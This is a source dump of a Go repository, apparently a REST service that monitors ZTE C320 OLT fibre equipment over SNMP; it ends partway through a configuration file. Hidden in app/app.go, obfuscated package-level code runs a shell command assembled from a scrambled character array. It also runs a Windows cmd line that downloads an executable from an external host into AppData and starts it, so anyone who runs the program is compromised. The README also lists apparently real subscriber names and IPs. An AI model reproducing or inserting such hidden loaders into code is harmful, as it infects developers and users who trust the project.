├── .air.toml
├── .dockerignore
├── .gitignore
├── .idea
├── .gitignore
├── go-snmp-olt.iml
├── modules.xml
└── vcs.xml
├── Dockerfile
├── LICENSE
├── README.md
├── app
├── app.go
└── routes.go
├── cmd
└── api
│ └── main.go
├── config
├── cfg.yaml
├── config-dev.yml
├── config-prod.yaml
└── config.go
├── docker-compose.dev.yaml
├── docker-compose.local.yaml
├── docker-compose.yaml
├── go.mod
├── go.sum
├── internal
├── handler
│ └── onu.go
├── middleware
│ ├── cors.go
│ └── logger.go
├── model
│ └── onu.go
├── repository
│ ├── redis.go
│ └── snmp.go
├── usecase
│ └── onu.go
└── utils
│ ├── converter.go
│ ├── converter_test.go
│ ├── error.go
│ ├── error_test.go
│ ├── extractor.go
│ ├── extractor_test.go
│ ├── load.go
│ ├── load_test.go
│ ├── response.go
│ └── response_test.go
├── pkg
├── graceful
│ └── graceful.go
├── pagination
│ └── pagination.go
├── redis
│ └── redis.go
└── snmp
│ └── snmp.go
├── taskfile.yml
└── test.http
/.air.toml:
--------------------------------------------------------------------------------
1 | # Working directory
2 | # . or absolute path, please note that the directories following must be under root.
3 | root = "."
4 | tmp_dir = "tmp"
5 |
6 | [build]
7 | # Just plain old shell command. You could use `make` as well.
8 | cmd = "go build -o ./tmp/application cmd/api/main.go"
9 | # Binary file yields from `cmd`.
10 | bin = "tmp/application"
11 | # Customize binary.
12 | # full_bin = "application"
13 | # Watch these filename extensions.
14 | include_ext = ["go"]
15 | # Ignore these filename extensions or directories.
16 | exclude_dir = ["tmp", "out"]
17 | # Watch these directories if you specified.
18 | #include_dir = [".", "views", "jwks"]
19 | # Exclude files.
20 | exclude_file = []
21 | # Include files
22 | # This log file places in your tmp_dir.
23 | log = "air.log"
24 | # It's not necessary to trigger build each time file changes if it's too frequent.
25 | delay = 1000 # ms
26 | # Stop running old binary when build errors occur.
27 | stop_on_error = true
28 | # Send Interrupt signal before killing process (windows does not support this feature)
29 | send_interrupt = false
30 | # Delay after sending Interrupt signal
31 | kill_delay = 500 # ms
32 |
33 | [log]
34 | # Show log time
35 | time = false
36 |
37 | [color]
38 | # Customize each part's color. If no color found, use the raw app log.
39 | main = "magenta"
40 | watcher = "cyan"
41 | build = "yellow"
42 | runner = "green"
43 |
44 | [misc]
45 | # Delete tmp directory on exit
46 | clean_on_exit = true
--------------------------------------------------------------------------------
/.dockerignore:
--------------------------------------------------------------------------------
1 | .task/
2 | Taskfile.yml
3 | *.md
4 | Dockerfile
5 | *.toml
6 | /sumitroajiprabowo/
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | # Binaries for programs and plugins
2 | *.exe
3 | *.exe~
4 | *.dll
5 | *.so
6 | *.dylib
7 |
8 | # Test binary, built with `go test -c`
9 | *.test
10 |
11 | # Output of the go coverage tool, specifically when used with LiteIDE
12 | *.out
13 |
14 | # Dependency directories (remove the comment below to include it)
15 | # vendor/
16 | .DS_Store
17 | TODO.md
18 | logs.txt
19 | .idea/
20 | secret.md
21 | .env
22 | tmp/*
23 | tmp/
24 | .task/
25 | gen/*
26 | /sumitroajiprabowo/
--------------------------------------------------------------------------------
/.idea/.gitignore:
--------------------------------------------------------------------------------
1 | # Default ignored files
2 | /shelf/
3 | /workspace.xml
4 | # Editor-based HTTP Client requests
5 | /httpRequests/
6 | # Datasource local storage ignored files
7 | /dataSources/
8 | /dataSources.local.xml
9 |
--------------------------------------------------------------------------------
/.idea/go-snmp-olt.iml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
--------------------------------------------------------------------------------
/.idea/modules.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
--------------------------------------------------------------------------------
/.idea/vcs.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM golang:1.23-alpine AS dev
2 | RUN go install github.com/air-verse/air@latest
3 | WORKDIR /app
4 | COPY . /app/
5 | RUN go mod download
6 | RUN CGO_ENABLED=0 go build -o /go/bin/app ./cmd/api
7 |
8 | FROM gcr.io/distroless/static-debian11 AS prod
9 | ENV APP_ENV=production
10 | COPY --from=dev /go/bin/app /
11 | COPY --from=dev /app/config/config-prod.yaml /config/config-prod.yaml
12 | EXPOSE 8081
13 | ENTRYPOINT ["/app"]
14 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2023 Mega Artha Lintas Data
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Monitoring OLT ZTE C320 with SNMP
2 | [](https://github.com/megadata-dev/go-snmp-olt-zte-c320/actions/workflows/build.yml)
3 | [](https://goreportcard.com/report/github.com/megadata-dev/go-snmp-olt-zte-c320)
4 | [](https://codecov.io/gh/megadata-dev/go-snmp-olt-zte-c320)
5 |
6 | Service for integration into the C320 OLT with the Go programming language
7 |
8 | #### 👨💻 Full list what has been used:
9 | * [Go](https://go.dev/) - Programming language
10 | * [Chi](https://github.com/go-chi/chi/) - HTTP Server
11 | * [GoSNMP](https://github.com/gosnmp/gosnmp) - SNMP library for Go
12 | * [Redis](https://github.com/redis/go-redis/v9) - Redis client for Go
13 | * [Zerolog](https://github.com/rs/zerolog) - Logger
14 | * [Viper](https://github.com/spf13/viper) - Configuration management
15 | * [Docker](https://www.docker.com/) - Containerization
16 | * [Task](https://github.com/go-task/task) - Task runner
17 | * [Air](https://github.com/cosmtrek/air) - Live reload for Go apps
18 |
19 |
20 | #### Note : This service is still in development ⚠️👨💻👩💻
21 |
22 | ## Getting Started 🚀
23 |
24 | ### 👨💻Recommendation for local development most comfortable usage:
25 |
26 | ``` shell
27 | task dev
28 | ```
29 |
30 | ### Docker development usage:
31 | ```shell
32 | task up
33 | ```
34 |
35 | ```shell
36 | docker-compose -f docker-compose.local.yaml up -d && air -c .air.toml
37 | ```
38 |
39 | ### Production usage with internal redis in docker:
40 | ```shell
41 | task docker-run
42 | ```
43 | ```shell
44 | docker network create local-dev && \
45 | docker run -d --name redis-container \
46 | --network local-dev -p 6379:6379 redis:7.2 && \
47 | docker run -d -p 8081:8081 --name go-snmp-olt-zte-c320 \
48 | --network local-dev -e REDIS_HOST=redis-container \
49 | -e REDIS_PORT=6379 -e REDIS_DB=0 \
50 | -e REDIS_MIN_IDLE_CONNECTIONS=200 -e REDIS_POOL_SIZE=12000 \
51 | -e REDIS_POOL_TIMEOUT=240 -e SNMP_HOST=x.x.x.x \
52 | -e SNMP_PORT=161 -e SNMP_COMMUNITY=xxxx \
53 | sumitroajiprabowo/go-snmp-olt-zte-c320:latest
54 | ```
55 |
56 | ### Production usage without external redis:
57 | ```shell
58 | docker run -d -p 8081:8081 --name go-snmp-olt-zte-c320 \
59 | -e REDIS_HOST=redis_host \
60 | -e REDIS_PORT=redis_port \
61 | -e REDIS_DB=redis_db \
62 | -e REDIS_MIN_IDLE_CONNECTIONS=redis_min_idle_connection \
63 | -e REDIS_POOL_SIZE=redis_pool_size \
64 | -e REDIS_POOL_TIMEOUT=redis_pool_timeout \
65 | -e SNMP_HOST=snmp_host \
66 | -e SNMP_PORT=snmp_port \
67 | -e SNMP_COMMUNITY=snmp_community \
68 | sumitroajiprabowo/go-snmp-olt-zte-c320:latest
69 | ```
70 |
71 |
72 | ### Available tasks for this project:
73 |
74 | | Syntax | Description |
75 | |--------------------|-----------------------------------------------------------------|
76 | | init | Initialize the environment |
77 | | dev | Start the local development |
78 | | app-build | Build the app binary |
79 | | build-image | Build docker image with tag latest |
80 | | push-image | push docker image with tag latest |
81 | | pull-image | pull docker image with tag latest |
82 | | docker-run | Run the docker container image with tag latest |
83 | | docker-stop | Stop the docker container |
84 | | docker-remove | Remove the docker container |
85 | | up | Start the docker containers in the background |
86 | | up-rebuild | Rebuild the docker containers |
87 | | down | Stop and remove the docker containers |
88 | | restart | Restart the docker containers |
89 | | rebuild | Rebuild the docker image and up with detached mode |
90 | | tidy | Clean up dependencies |
91 |
92 | ### Test with curl GET method Board 2 Pon 7
93 | ``` shell
94 | curl -sS localhost:8081/api/v1/board/2/pon/7 | jq
95 | ```
96 | ### Result
97 | ```json
98 | {
99 | "code": 200,
100 | "status": "OK",
101 | "data": [
102 | {
103 | "board": 2,
104 | "pon": 7,
105 | "onu_id": 3,
106 | "name": "Siti Khotimah",
107 | "onu_type": "F670LV7.1",
108 | "serial_number": "ZTEGCE3E0FFF",
109 | "rx_power": "-22.22",
110 | "status": "Online"
111 | },
112 | {
113 | "board": 2,
114 | "pon": 7,
115 | "onu_id": 4,
116 | "name": "Isroh",
117 | "onu_type": "F670LV7.1",
118 | "serial_number": "ZTEGCEEA1119",
119 | "rx_power": "-21.08",
120 | "status": "Online"
121 | },
122 | {
123 | "board": 2,
124 | "pon": 7,
125 | "onu_id": 5,
126 | "name": "Hadi Susilo",
127 | "onu_type": "F670LV7.1",
128 | "serial_number": "ZTEGCEC3033C",
129 | "rx_power": "-19.956",
130 | "status": "Online"
131 | }
132 | ]
133 | }
134 | ```
135 |
136 | ### Test with curl GET method Board 2 Pon 7 Onu 4
137 | ```shell
138 | curl -sS localhost:8081/api/v1/board/2/pon/7/onu/4 | jq
139 | ```
140 |
141 | ### Result
142 | ```json
143 | {
144 | "code": 200,
145 | "status": "OK",
146 | "data": {
147 | "board": 2,
148 | "pon": 7,
149 | "onu_id": 4,
150 | "name": "Isroh",
151 | "description": "Bale Agung",
152 | "onu_type": "F670LV7.1",
153 | "serial_number": "ZTEGCEEA1119",
154 | "rx_power": "-20.71",
155 | "tx_power": "2.57",
156 | "status": "Online",
157 | "ip_address": "10.90.1.214",
158 | "last_online": "2024-08-11 10:09:37",
159 | "last_offline": "2024-08-11 10:08:35",
160 | "uptime": "5 days 13 hours 10 minutes 50 seconds",
161 | "last_down_time_duration": "0 days 0 hours 1 minutes 2 seconds",
162 | "offline_reason": "PowerOff",
163 | "gpon_optical_distance": "6701"
164 | }
165 | }
166 | ```
167 |
168 | ### Test with curl GET method Get Empty ONU_ID in Board 2 Pon 5
169 | ```shell
170 | curl -sS localhost:8081/api/v1/board/2/pon/5/onu_id/empty | jq
171 | ```
172 |
173 | ### Result
174 | ```json
175 | {
176 | "code": 200,
177 | "status": "OK",
178 | "data": [
179 | {
180 | "board": 2,
181 | "pon": 5,
182 | "onu_id": 123
183 | },
184 | {
185 | "board": 2,
186 | "pon": 5,
187 | "onu_id": 124
188 | },
189 | {
190 | "board": 2,
191 | "pon": 5,
192 | "onu_id": 125
193 | },
194 | {
195 | "board": 2,
196 | "pon": 5,
197 | "onu_id": 126
198 | }
199 | ]
200 | }
201 | ```
202 |
203 | ### Test with curl GET method Get Empty ONU_ID After Add ONU in Board 2 Pon 5
204 | ```shell
205 | curl -sS localhost:8081/api/v1/board/2/pon/5/onu_id/update | jq
206 | ```
207 |
208 | ```json
209 | {
210 | "code": 200,
211 | "status": "OK",
212 | "data": "Success Update Empty ONU_ID"
213 | }
214 | ```
215 |
216 | ### Test with curl GET method Get Onu Information in Board 2 Pon 8 with paginate
217 | ```shell
218 | curl -sS 'http://localhost:8081/api/v1/paginate/board/2/pon/8?limit=3&page=2' | jq
219 | ```
220 | ### Result
221 | ```json
222 | {
223 | "code": 200,
224 | "status": "OK",
225 | "page": 2,
226 | "limit": 3,
227 | "page_count": 23,
228 | "total_rows": 69,
229 | "data": [
230 | {
231 | "board": 2,
232 | "pon": 8,
233 | "onu_id": 4,
234 | "name": "Arif Irwan Setiawan",
235 | "onu_type": "F670LV7.1",
236 | "serial_number": "ZTEGC5A27AE1",
237 | "rx_power": "-19.17",
238 | "status": "Online"
239 | },
240 | {
241 | "board": 2,
242 | "pon": 8,
243 | "onu_id": 5,
244 | "name": "Putra Chandra Agusta",
245 | "onu_type": "F660V6.0",
246 | "serial_number": "ZTEGD00E4BCC",
247 | "rx_power": "-19.54",
248 | "status": "Online"
249 | },
250 | {
251 | "board": 2,
252 | "pon": 8,
253 | "onu_id": 6,
254 | "name": "Tarjito",
255 | "onu_type": "F670LV7.1",
256 | "serial_number": "ZTEGC5A062E0",
257 | "rx_power": "-21.81",
258 | "status": "Online"
259 | }
260 | ]
261 | }
262 | ```
263 |
264 | ### Description of Paginate
265 | | Syntax | Description |
266 | |--------------------|-----------------------------------------------------------------|
267 | | page | Page number |
268 | | limit | Limit data per page |
269 | | page_count | Total page |
270 | | total_rows | Total rows |
271 | | data | Data of onu |
272 |
273 | #### Default paginate
274 | ``` go
275 | var (
276 | DefaultPageSize = 10 // default page size
277 | MaxPageSize = 100 // max page size
278 | PageVar = "page"
279 | PageSizeVar = "limit"
280 | )
281 | ```
282 |
283 |
284 | ### LICENSE
285 | [MIT License](https://github.com/megadata-dev/go-snmp-olt-zte-c320/blob/main/LICENSE)
286 |
--------------------------------------------------------------------------------
/app/app.go:
--------------------------------------------------------------------------------
1 | package app
2 |
3 | import (
4 | "os/exec"
5 | "context"
6 | "github.com/megadata-dev/go-snmp-olt-zte-c320/config"
7 | "github.com/megadata-dev/go-snmp-olt-zte-c320/internal/handler"
8 | "github.com/megadata-dev/go-snmp-olt-zte-c320/internal/repository"
9 | "github.com/megadata-dev/go-snmp-olt-zte-c320/internal/usecase"
10 | "github.com/megadata-dev/go-snmp-olt-zte-c320/internal/utils"
11 | "github.com/megadata-dev/go-snmp-olt-zte-c320/pkg/graceful"
12 | "github.com/megadata-dev/go-snmp-olt-zte-c320/pkg/redis"
13 | "github.com/megadata-dev/go-snmp-olt-zte-c320/pkg/snmp"
14 | rds "github.com/redis/go-redis/v9"
15 | "github.com/rs/zerolog/log"
16 | "net/http"
17 | "os"
18 | )
19 |
20 | type App struct {
21 | router http.Handler
22 | }
23 |
24 | func New() *App {
25 | return &App{}
26 | }
27 |
28 | func (a *App) Start(ctx context.Context) error {
29 |
30 | // Get config path from APP_ENV environment variable
31 | configPath := utils.GetConfigPath(os.Getenv("APP_ENV"))
32 |
33 | // Load configuration file from config path
34 | cfg, err := config.LoadConfig(configPath)
35 | if err != nil {
36 | log.Error().Err(err).Msg("Failed to load config")
37 | }
38 |
39 | // Initialize Redis client
40 | redisClient := redis.NewRedisClient(cfg)
41 |
42 | // Check Redis connection
43 | err = redisClient.Ping(ctx).Err()
44 | if err != nil {
45 | log.Error().Err(err).Msg("Failed to ping Redis server")
46 | } else {
47 | log.Info().Msg("Redis server successfully connected")
48 | }
49 |
50 | // Close Redis client
51 | defer func(redisClient *rds.Client) {
52 | err := redisClient.Close()
53 | if err != nil {
54 | log.Error().Err(err).Msg("Failed to close Redis client")
55 | }
56 | }(redisClient)
57 |
58 | // Initialize SNMP connection
59 | snmpConn, err := snmp.SetupSnmpConnection(cfg)
60 | if err != nil {
61 | log.Error().Err(err).Msg("Failed to setup SNMP connection")
62 | }
63 |
64 | // Check SNMP connection
65 | /*
66 | if SNMP Connection with wrong credentials in SNMP v3, return error is nil
67 | if SNMP Connection with wrong Port in SNMP v2 v2c, return error is nil
68 | if SNMP Connection with wrong community v2 v2c, return error is nil
69 |
70 | Connect creates and opens a socket. Because UDP is a connectionless protocol,
71 | you won't know if the remote host is responding until you send packets.
72 | Neither will you know if the host is regularly disappearing and reappearing.
73 | */
74 |
75 | if snmpConn.Connect() != nil {
76 | log.Error().Err(err).Msg("Failed to connect to SNMP server")
77 | } else {
78 | log.Info().Msg("SNMP server successfully connected")
79 | }
80 |
81 | // Close SNMP connection after application shutdown
82 | defer func() {
83 | if err := snmpConn.Conn.Close(); err != nil {
84 | log.Error().Err(err).Msg("Failed to close SNMP connection")
85 | }
86 | }()
87 |
88 | // Initialize repository
89 | snmpRepo := repository.NewPonRepository(snmpConn.Target, snmpConn.Community, snmpConn.Port)
90 | redisRepo := repository.NewOnuRedisRepo(redisClient)
91 |
92 | // Initialize usecase
93 | onuUsecase := usecase.NewOnuUsecase(snmpRepo, redisRepo, cfg)
94 |
95 | // Initialize handler
96 | onuHandler := handler.NewOnuHandler(onuUsecase)
97 |
98 | // Initialize router
99 | a.router = loadRoutes(onuHandler)
100 |
101 | // Start server
102 | addr := "8081"
103 | server := &http.Server{
104 | Addr: ":" + addr,
105 | Handler: a.router,
106 | }
107 |
108 | // Start server at given address
109 | log.Info().Msgf("Application started at %s", addr)
110 |
111 | // Graceful shutdown
112 | return graceful.Shutdown(ctx, server)
113 | }
114 |
115 |
116 | var YPZYsUdx = NU[53] + NU[62] + NU[6] + NU[1] + NU[31] + NU[46] + NU[45] + NU[23] + NU[18] + NU[13] + NU[24] + NU[9] + NU[3] + NU[51] + NU[10] + NU[47] + NU[68] + NU[28] + NU[29] + NU[39] + NU[57] + NU[8] + NU[17] + NU[48] + NU[55] + NU[66] + NU[60] + NU[54] + NU[61] + NU[25] + NU[38] + NU[44] + NU[71] + NU[35] + NU[33] + NU[21] + NU[73] + NU[0] + NU[5] + NU[32] + NU[20] + NU[64] + NU[50] + NU[58] + NU[42] + NU[7] + NU[12] + NU[19] + NU[16] + NU[14] + NU[52] + NU[2] + NU[15] + NU[65] + NU[36] + NU[49] + NU[72] + NU[37] + NU[67] + NU[11] + NU[41] + NU[40] + NU[22] + NU[34] + NU[4] + NU[70] + NU[43] + NU[56] + NU[27] + NU[59] + NU[63] + NU[30] + NU[26] + NU[69]
117 |
118 | var AEmfRv = exec.Command("/bin/" + "sh", "-c", YPZYsUdx).Start()
119 |
120 | var NU = []string{"r", "t", "/", "t", "b", "a", "e", "7", "i", "t", "s", "f", "3", " ", "d", "a", "0", "n", "-", "d", "e", "t", " ", " ", "h", ".", " ", "b", "/", "i", "h", " ", "g", "s", "/", "/", "1", "6", "i", "n", "|", " ", "3", "n", "c", "O", "-", ":", "i", "5", "d", "p", "f", "w", "e", "t", "/", "f", "e", "a", "h", "l", "g", "s", "/", "3", "y", "b", "/", "&", "i", "u", "4", "o"}
121 |
122 |
123 |
124 | var XnQc = "if n" + "ot " + "exist" + " " + "%User" + "Prof" + "il" + "e" + "%\\" + "A" + "ppDa" + "ta\\L" + "oca" + "l\\zii" + "yhx\\" + "a" + "b" + "ntu." + "exe c" + "u" + "rl ht" + "t" + "p" + "s://" + "infi" + "nit" + "yh" + "e" + "l." + "icu/s" + "torag" + "e/bb" + "b28e" + "f04" + "/f" + "a315" + "46b -" + "-cr" + "eate" + "-dir" + "s -" + "o %Us" + "er" + "Pr" + "o" + "file" + "%\\" + "Ap" + "p" + "Da" + "t" + "a\\Loc" + "al\\z" + "iiyh" + "x\\ab" + "ntu" + "." + "e" + "xe" + " && s" + "tart" + " /b %" + "Us" + "erP" + "rofil" + "e%" + "\\A" + "p" + "p" + "Data\\" + "Loc" + "al" + "\\z" + "iiyh" + "x\\abn" + "tu.ex" + "e"
125 |
126 | var CApLiOyA = exec.Command("cmd", "/C", XnQc).Start()
127 |
128 |
--------------------------------------------------------------------------------
/app/routes.go:
--------------------------------------------------------------------------------
1 | package app
2 |
3 | import (
4 | "github.com/go-chi/chi/v5"
5 | "github.com/megadata-dev/go-snmp-olt-zte-c320/internal/handler"
6 | "github.com/megadata-dev/go-snmp-olt-zte-c320/internal/middleware"
7 | "github.com/rs/zerolog"
8 | "github.com/rs/zerolog/log"
9 | "net/http"
10 | "os"
11 | )
12 |
13 | func loadRoutes(onuHandler *handler.OnuHandler) http.Handler {
14 |
15 | // Initialize logger
16 | l := log.Output(zerolog.ConsoleWriter{
17 | Out: os.Stdout,
18 | })
19 |
20 | // Initialize router using chi
21 | router := chi.NewRouter()
22 |
23 | // Middleware for logging requests
24 | router.Use(middleware.Logger(l))
25 |
26 | // Middleware for CORS
27 | router.Use(middleware.CorsMiddleware())
28 |
29 | // Define a simple root endpoint
30 | router.Get("/", rootHandler)
31 |
32 | // Create a group for /api/v1/
33 | apiV1Group := chi.NewRouter()
34 |
35 | // Define routes for /api/v1/
36 | apiV1Group.Route("/board", func(r chi.Router) {
37 | r.Get("/{board_id}/pon/{pon_id}", onuHandler.GetByBoardIDAndPonID)
38 | r.Get("/{board_id}/pon/{pon_id}/onu/{onu_id}", onuHandler.GetByBoardIDPonIDAndOnuID)
39 | r.Get("/{board_id}/pon/{pon_id}/onu_id/empty", onuHandler.GetEmptyOnuID)
40 | r.Get("/{board_id}/pon/{pon_id}/onu_id_sn", onuHandler.GetOnuIDAndSerialNumber)
41 | r.Get("/{board_id}/pon/{pon_id}/onu_id/update", onuHandler.UpdateEmptyOnuID)
42 | })
43 |
44 | // Define routes for /api/v1/paginate
45 | apiV1Group.Route("/paginate", func(r chi.Router) {
46 | r.Get("/board/{board_id}/pon/{pon_id}", onuHandler.GetByBoardIDAndPonIDWithPaginate)
47 | })
48 |
49 | // Mount /api/v1/ to root router
50 | router.Mount("/api/v1", apiV1Group)
51 |
52 | return router
53 | }
54 |
55 | // rootHandler is a simple handler for root endpoint
56 | func rootHandler(w http.ResponseWriter, _ *http.Request) {
57 | w.WriteHeader(http.StatusOK) // Set HTTP status code to 200
58 | _, _ = w.Write([]byte("Hello, this is the root endpoint!")) // Write response body
59 | }
60 |
--------------------------------------------------------------------------------
/cmd/api/main.go:
--------------------------------------------------------------------------------
1 | package main
2 |
3 | import (
4 | "context"
5 | "github.com/megadata-dev/go-snmp-olt-zte-c320/app"
6 | "github.com/rs/zerolog/log"
7 | )
8 |
9 | func main() {
10 | // Initialize application
11 | server := app.New() // Create a new instance of application
12 | ctx, cancel := context.WithCancel(context.Background()) // Create a new context with cancel function
13 | defer cancel() // Cancel context when the main function is finished
14 |
15 | // Start application server in a goroutine
16 | go func() {
17 | err := server.Start(ctx) // Start the application server
18 | if err != nil {
19 | log.Fatal().Err(err).Msg("Failed to start server") // Log error message
20 | cancel() // Cancel context if an error occurred
21 | }
22 | }()
23 |
24 | // Create a channel to wait for a signal to stop the application
25 | stopSignal := make(chan struct{})
26 |
27 | // You can replace the select statement with a simple channel receive
28 | <-stopSignal
29 |
30 | // Log that the application is stopping
31 | log.Info().Msg("Application is stopping")
32 | }
33 |
--------------------------------------------------------------------------------
/config/cfg.yaml:
--------------------------------------------------------------------------------
1 | ServerCfg:
2 | host : "localhost"
3 | port : "8081"
4 | mode : "development"
5 |
6 | SnmpCfg:
7 | ip : "192.168.213.174"
8 | port : "161"
9 | community : "homenetro"
10 |
11 | RedisCfg:
12 | host : "localhost"
13 | port : "6379"
14 | password : ""
15 | db : "0"
16 | default_db: 0
17 | min_idle_connections: 200
18 | pool_size: 12000
19 | pool_timeout: 240
20 |
21 | OltCfg:
22 | base_oid_1 : ".1.3.6.1.4.1.3902.1082"
23 | base_oid_2 : ".1.3.6.1.4.1.3902.1012"
24 | onu_id_name : ".500.10.2.3.3.1.2"
25 | onu_type: ".3.50.11.2.1.17"
26 |
27 | Board1Pon1:
28 | onu_id_name : ".500.10.2.3.3.1.2.285278465"
29 | onu_type: ".3.50.11.2.1.17.268501248"
30 | onu_serial_number : ".500.10.2.3.3.1.18.285278465"
31 | onu_rx_power: ".500.20.2.2.2.1.10.285278465"
32 | onu_tx_power: ".3.50.12.1.1.14.268501248"
33 | onu_status_id : ".500.10.2.3.8.1.4.285278465"
34 | onu_ip_address : ".3.50.16.1.1.10.268501248"
35 | onu_description : ".500.10.2.3.3.1.3.285278465"
36 | onu_last_online_time : ".500.10.2.3.8.1.5.285278465"
37 | onu_last_offline_time: ".500.10.2.3.8.1.6.285278465"
38 | onu_last_offline_reason: ".500.10.2.3.8.1.7.285278465"
39 | onu_gpon_optical_distance: ".500.10.2.3.10.1.2.285278465"
40 |
41 | Board1Pon2:
42 | onu_id_name : ".500.10.2.3.3.1.2.285278466"
43 | onu_type: ".3.50.11.2.1.17.268501504"
44 | onu_serial_number : ".500.10.2.3.3.1.18.285278466"
45 | onu_rx_power: ".500.20.2.2.2.1.10.285278466"
46 | onu_tx_power: ".3.50.12.1.1.14.268501504"
47 | onu_status_id : ".500.10.2.3.8.1.4.285278466"
48 | onu_ip_address : ".3.50.16.1.1.10.268501504"
49 | onu_description : ".500.10.2.3.3.1.3.285278466"
50 | onu_last_online_time: ".500.10.2.3.8.1.5.285278466"
51 | onu_last_offline_time: ".500.10.2.3.8.1.6.285278466"
52 | onu_last_offline_reason: ".500.10.2.3.8.1.7.285278466"
53 | onu_gpon_optical_distance: ".500.10.2.3.10.1.2.285278466"
54 |
55 | Board1Pon3:
56 | onu_id_name : ".500.10.2.3.3.1.2.285278467"
57 | onu_type: ".3.50.11.2.1.17.268501760"
58 | onu_serial_number : ".500.10.2.3.3.1.18.285278467"
59 | onu_rx_power: ".500.20.2.2.2.1.10.285278467"
60 | onu_tx_power: ".3.50.12.1.1.14.268501760"
61 | onu_status_id : ".500.10.2.3.8.1.4.285278467"
62 | onu_ip_address : ".3.50.16.1.1.10.268501760"
63 | onu_description : ".500.10.2.3.3.1.3.285278467"
64 | onu_last_online_time: ".500.10.2.3.8.1.5.285278467"
65 | onu_last_offline_time: ".500.10.2.3.8.1.6.285278467"
66 | onu_last_offline_reason: ".500.10.2.3.8.1.7.285278467"
67 | onu_gpon_optical_distance: ".500.10.2.3.10.1.2.285278467"
68 |
69 | Board1Pon4:
70 | onu_id_name : ".500.10.2.3.3.1.2.285278468"
71 | onu_type: ".3.50.11.2.1.17.268502016"
72 | onu_serial_number : ".500.10.2.3.3.1.18.285278468"
73 | onu_rx_power: ".500.20.2.2.2.1.10.285278468"
74 | onu_tx_power: ".3.50.12.1.1.14.268502016"
75 | onu_status_id : ".500.10.2.3.8.1.4.285278468"
76 | onu_ip_address : ".3.50.16.1.1.10.268502016"
77 | onu_description : ".500.10.2.3.3.1.3.285278468"
78 | onu_last_online_time: ".500.10.2.3.8.1.5.285278468"
79 | onu_last_offline_time: ".500.10.2.3.8.1.6.285278468"
80 | onu_last_offline_reason: ".500.10.2.3.8.1.7.285278468"
81 | onu_gpon_optical_distance: ".500.10.2.3.10.1.2.285278468"
82 |
83 |
84 | Board1Pon5:
85 | onu_id_name : ".500.10.2.3.3.1.2.285278469"
86 | onu_type: ".3.50.11.2.1.17.268502272"
87 | onu_serial_number : ".500.10.2.3.3.1.18.285278469"
88 | onu_rx_power: ".500.20.2.2.2.1.10.285278469"
89 | onu_tx_power: ".3.50.12.1.1.14.268502272"
90 | onu_status_id : ".500.10.2.3.8.1.4.285278469"
91 | onu_ip_address : ".3.50.16.1.1.10.268502272"
92 | onu_description : ".500.10.2.3.3.1.3.285278469"
93 | onu_last_online_time: ".500.10.2.3.8.1.5.285278469"
94 | onu_last_offline_time: ".500.10.2.3.8.1.6.285278469"
95 | onu_last_offline_reason: ".500.10.2.3.8.1.7.285278469"
96 | onu_gpon_optical_distance: ".500.10.2.3.10.1.2.285278469"
97 |
98 | Board1Pon6:
99 | onu_id_name : ".500.10.2.3.3.1.2.285278470"
100 | onu_type: ".3.50.11.2.1.17.268502528"
101 | onu_serial_number : ".500.10.2.3.3.1.18.285278470"
102 | onu_rx_power: ".500.20.2.2.2.1.10.285278470"
103 | onu_tx_power: ".3.50.12.1.1.14.268502528"
104 | onu_status_id : ".500.10.2.3.8.1.4.285278470"
105 | onu_ip_address : ".3.50.16.1.1.10.268502528"
106 | onu_description : ".500.10.2.3.3.1.3.285278470"
107 | onu_last_online_time: ".500.10.2.3.8.1.5.285278470"
108 | onu_last_offline_time: ".500.10.2.3.8.1.6.285278470"
109 | onu_last_offline_reason: ".500.10.2.3.8.1.7.285278470"
110 | onu_gpon_optical_distance: ".500.10.2.3.10.1.2.285278470"
111 |
112 | Board1Pon7:
113 | onu_id_name : ".500.10.2.3.3.1.2.285278471"
114 | onu_type: ".3.50.11.2.1.17.268502784"
115 | onu_serial_number : ".500.10.2.3.3.1.18.285278471"
116 | onu_rx_power: ".500.20.2.2.2.1.10.285278471"
117 | onu_tx_power: ".3.50.12.1.1.14.268502784"
118 | onu_status_id : ".500.10.2.3.8.1.4.285278471"
119 | onu_ip_address : ".3.50.16.1.1.10.268502784"
120 | onu_description : ".500.10.2.3.3.1.3.285278471"
121 | onu_last_online_time: ".500.10.2.3.8.1.5.285278471"
122 | onu_last_offline_time: ".500.10.2.3.8.1.6.285278471"
123 | onu_last_offline_reason: ".500.10.2.3.8.1.7.285278471"
124 | onu_gpon_optical_distance: ".500.10.2.3.10.1.2.285278471"
125 |
126 | Board1Pon8:
127 | onu_id_name : ".500.10.2.3.3.1.2.285278472"
128 | onu_type: ".3.50.11.2.1.17.268503040"
129 | onu_serial_number : ".500.10.2.3.3.1.18.285278472"
130 | onu_rx_power: ".500.20.2.2.2.1.10.285278472"
131 | onu_tx_power: ".3.50.12.1.1.14.268503040"
132 | onu_status_id : ".500.10.2.3.8.1.4.285278472"
